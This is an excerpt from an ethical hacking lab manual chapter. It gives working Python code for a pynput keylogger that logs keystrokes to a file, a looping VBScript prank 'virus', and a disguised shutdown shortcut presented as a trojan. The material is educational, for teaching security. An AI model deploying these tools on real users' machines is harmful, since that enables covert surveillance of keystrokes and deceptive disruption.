Ethical Hacking Lab Manual
ISBN 9788119221523

Highlights

Notes

  

Chapter 4: Implementation of keyloggers, viruses and trojans

Aim: Implementation of keyloggers, viruses and trojans

A) Create keylogger using python.

Step 1: Open Anaconda, Install pynput.

Step 2: Code

Step 1: #import the module in your python shell

  • import pynput
  • import logging

Step 2: import the required packages and method.

#To monitor the keyboard, use the key and listener method of pynput.keyboard module

  • from pynput.keyboard import Key, Listener

Step 3: #set the path where we are going to store our log files, in what mode logs will be store andthe format.

  • log_dir=“D:/”
  • logging.basicConfig(filename=(log_dir + “keyLog.txt”), level=logging.DEBUG, format=‘%(asctime)s: %(message)s’)

Step 4: Write the function on press that contains a definition for keypresses and take the key asa parameter.

  • def my_key_on_press(key): logging.info(str(key))

Step 5: Set up an instance of Listener and define the on-press method in it and then join the instance to the main thread.

with Listener(on_press=my_key_on_press) as listener: listener.join()

Output:

B) Create Virus

Code:

  • set
  • x=wscript.createobject(“wscript.shell”)
  • do
  • wscript.sleep 100
  • x.sendkeys“{CAPSLOCK}”
  • x.sendkeys“{NUMLOCK}”
  • x.sendkeys“I am a Virus”
  • x.sendkeys“{SCROLLLOC K}”
  • loop

C) Create a simple trojan

Step 1: Right click on desktop or any drive

Step 2: Select create new shortcut and type

   shutdown -s -t 50 -c “Shutdown the machine”

Step 3: Right click and change the icon